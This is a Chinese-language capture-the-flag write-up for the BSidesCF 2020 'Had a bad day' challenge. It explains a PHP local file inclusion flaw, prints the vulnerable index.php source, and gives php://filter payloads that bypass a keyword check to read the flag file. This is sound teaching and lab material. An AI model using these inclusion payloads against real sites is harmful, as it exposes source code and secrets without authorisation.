[BSidesCF 2020]Had a bad day

考查点:文件包含,php://filter伪协议的使用

解题过程

题目

点击WPPFERS,页面跳转,url变化

http://82d8579e-9e63-4cf3-8058-672d5e2fdb2a.node3.buuoj.cn/index.php?category=woofers

返回点击MEOWERS,页面跳转,url变化

http://82d8579e-9e63-4cf3-8058-672d5e2fdb2a.node3.buuoj.cn/index.php?category=meowers

url的变化肯定是个突破点,可能是文件包含

尝试读取index.php,回显如下

我们可以得到很多信息,看到了include,说明确实是文件包含 , 但是

 include(php://filter/read=convert.base64-encode/resource=index.php.php)中
比我们传入的
php://filter/read=convert.base64-encode/resource=index.php
多了.php
猜测可能是我们只传输.php之前的即可,然后源码会自动把.php拼接上来。

再次尝试读取源码,去掉.php

index.php?category=php://filter/read=convert.base64-encode/resource=index

进行base64解码,得到index.php

              <?php
				$file = $_GET['category'];

				if(isset($file))
				{
					if( strpos( $file, "woofers" ) !==  false || strpos( $file, "meowers" ) !==  false || strpos( $file, "index")){
						include ($file . '.php');//确实是拼接了.php
					}
					else{
						echo "Sorry, we currently only support woofers and meowers.";
					}
				}
				?>

代码审计一下:我们传入的$category放到了$file中,并且对其进行筛查,$file中必须含有woofers,meowers,index中的一项,才能够文件包含file.php。这就是利用点

所以构造payload,以下三个都行

index.php?category=php://filter/read=convert.base64-encode/woofers/resource=flag
index.php?category=php://filter/read=convert.base64-encode/meowers/resource=flag
index.php?category=php://filter/read=convert.base64-encode/index/resource=flag

base64解码可以得到flag。


参考文章

1. BUUCTF:[BSidesCF 2020]Had a bad day

 

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值